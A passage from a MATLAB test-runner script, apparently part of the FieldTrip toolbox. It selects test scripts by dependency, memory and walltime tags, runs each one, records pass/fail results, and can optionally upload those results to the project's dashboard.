  hasdccnpath = exist(dccnpath('/home/common/matlab/fieldtrip/data/'), 'dir');
end

if ischar(maxwalltime)
  % it is probably formatted as HH:MM:SS, convert to seconds
  maxwalltime = str2walltime(maxwalltime);
end

if ischar(maxmem)
  % it is probably formatted as XXmb, or XXgb, convert to bytes
  maxmem = str2mem(maxmem);
end

% get the version and the path
[revision, ftpath] = ft_version;

%% determine the list of functions to test
if ~isempty(varargin) && exist(varargin{1}, 'file')
  functionlist = varargin;
else
  addpath(fullfile(ftpath, 'test'));
  d = dir(fullfile(ftpath, 'test', 'test_*.m'));
  functionlist = {d.name}';
  for i=1:numel(functionlist)
    functionlist{i} = functionlist{i}(1:end-2); % remove the extension
  end
end

%% determine the list of files to test
filelist = cell(size(functionlist));
for i=1:numel(functionlist)
  filelist{i} = which(functionlist{i});
end

fprintf('considering %d test scripts\n', numel(filelist));

%% make a subselection based on the filters
dep  = true(size(filelist));
file = false(size(filelist)); % by default ignore file reads
mem  = zeros(size(filelist));
tim  = zeros(size(filelist));

for i=1:numel(filelist)
  fid = fopen(filelist{i}, 'rt');
  str = fread(fid, [1 inf], 'char=>char');
  fclose(fid);
  line = tokenize(str, 10);

  if ~isempty(dependency)
    dep(i) = false;
  else
    dep(i) = true;
  end

  for k=1:numel(line)
    for j=1:numel(dependency)
      % search for the dependencies in each of the test functions
      [s, e] = regexp(line{k}, sprintf('%% DEPENDENCY.*%s.*', dependency{j}), 'once', 'start', 'end');
      if ~isempty(s)
        dep(i) = true;
      end
    end

    if ~istrue(hasdccnpath)
      % search for the occurence of the DCCNPATH function in each of the test functions
      [s, e] = regexp(line{k}, 'dccnpath', 'once', 'start', 'end');
      if ~isempty(s)
        file(i) = true;
      end
    end

    [s, e] = regexp(line{k}, '% WALLTIME.*', 'once', 'start', 'end');
    if ~isempty(s)
      s = s + length('% WALLTIME'); % strip this part
      tim(i) = str2walltime(line{k}(s:e));
    end

    [s, e] = regexp(line{k}, '% MEM.*', 'once', 'start', 'end');
    if ~isempty(s)
      s = s + length('% MEM'); % strip this part
      mem(i) = str2mem(line{k}(s:e));
    end
  end % for each line

end % for each function/file

fprintf('%3d scripts are excluded due to the dependencies\n',                  sum(~dep));
fprintf('%3d scripts are excluded due to loading files from the DCCN path\n',  sum(file));
fprintf('%3d scripts are excluded due to the requirements for memory\n',       sum(mem>maxmem));
fprintf('%3d scripts are excluded due to the requirements for walltime \n',    sum(tim>maxwalltime));

% make selection of test scripts, remove scripts that exceed walltime or memory
sel                  = true(size(filelist));
sel(tim>maxwalltime) = false;
sel(mem>maxmem)      = false;
sel(dep==false)      = false;
sel(file==true)      = false;

% make the subselection of functions to test
functionlist = functionlist(sel);
tim = tim(sel);
mem = mem(sel);

switch (sortarg)
  case {'alphabet' 'alphabetic' 'alphabetical'}
    [functionlist, indx] = sort(functionlist);
    tim = tim(indx);
    mem = mem(indx);
  case {'mem' 'memory'}
    [mem, indx]  = sort(mem);
    tim          = tim(indx);
    functionlist = functionlist(indx);
  case {'walltime' 'time'}
    [tim, indx]  = sort(tim);
    mem          = mem(indx);
    functionlist = functionlist(indx);
  case 'random'
    indx = randperm(numel(functionlist));
    functionlist = functionlist(indx);
    tim          = tim(indx);
    mem          = mem(indx);
  otherwise
    ft_error('incorrect specification for ''sort''');
end

% this will hold all results
result = [];

if strcmp(command, 'inventorize')
  % do not execute anything, only return the function names
  for i=1:numel(functionlist)
    result(i).functionname = functionlist{i};
    result(i).mem          = mem(i);
    result(i).walltime     = tim(i);
  end
  fprintf('selecting %d test scripts\n', numel(functionlist));
  return
else
  fprintf('executing %d test scripts\n', numel(functionlist));
end

% uploading results to the dashboard from a work-in-progress version is not supported
if istrue(upload) && ~istrue(ft_version('clean'))
  warning('FieldTrip version is not clean, not uploading results to the dashboard')
  upload = 'no';
end

%% run over all tests
for i=1:numel(functionlist)

  close all
  fprintf('================================================================================\n');;
  fprintf('=== evaluating %s\n', functionlist{i});
  try
    stopwatch = tic;
    eval(functionlist{i});
    passed = true;
    runtime = round(toc(stopwatch));
    fprintf('=== %s PASSED in %d seconds\n', functionlist{i}, runtime);
  catch me
    passed = false;
    runtime = round(toc(stopwatch));
    % show the error with the stack trace
    fprintf('Error using %s (line %d)\n', me.stack(1).name, me.stack(1).line);
    disp(me.message)
    for j=2:numel(me.stack)
      fprintf('Error in %s (line %d)\n', me.stack(j).name, me.stack(j).line);
    end
    fprintf('=== %s FAILED in %d seconds\n', functionlist{i}, runtime);
  end
  close all

  result(i).matlabversion    = version('-release');
  result(i).fieldtripversion = revision;
  result(i).branch           = ft_version('branch');
  result(i).arch             = computer('arch');
  result(i).hostname         = gethostname;
  result(i).user             = getusername;
  result(i).passed           = passed;
  result(i).runtime          = runtime;
  result(i).functionname     = functionlist{i};
  result(i).mem              = mem(i);
  result(i).walltime         = tim(i);

  if istrue(upload)
    try
      % the weboptions function is available in 2014b onward, but behaves inconsistently
      options = weboptions('MediaType','application/json');
    catch
      options = [];
    end
    url = 'https://dashboard.fieldtriptoolbox.org/api/';
    webwrite(url, result(i), options);
  end

  if strcmp(returnerror, 'immediate') && ~passed
    % report only on the tests completed sofar and give an error
    printstruct_as_table(result);
    rethrow(me);
  end

end

if strcmp(returnerror, 'final') && any(~[result.passed])
  % report on the complete batch and give an error
  printstruct_as_table(result);
  failed = find(~[result.passed]);
  error('%d of the test scripts failed', numel(failed));
end

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% SUBFUNCTION
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function walltime = str2walltime(str)
str = lower(strtrim(str));
walltime = str2double(str);
if isnan(walltime)
  str = strtrim(str);
  hms = sscanf(str, '%d:%d:%d'); % hours, minutes, seconds
  walltime = 60*60*hms(1) + 60*hms(2) + hms(3);
end

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% SUBFUNCTION
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function mem = str2mem(str)
str = lower(strtrim(str));
mem = str2double(str);
if isnan(mem)
  if ~isempty(regexp(str, '[0-9]*kb', 'once'))
    mem = str2double(str(1:end-2)) * 2^10;
  elseif ~isempty(regexp(str, '[0-9]*mb', 'once'))
    mem = str2double(str(1:end-2)) * 2^20;
  elseif ~isempty(regexp(str, '[0-9]*gb', 'once'))
    mem = str2double(str(1:end-2)) * 2^30;
  elseif ~isempty(regexp(str, '[0-9]*tb', 'once'))
    mem = str2double(str(1:end-2)) * 2^40;
  else
    mem = str2double(str);
  end
end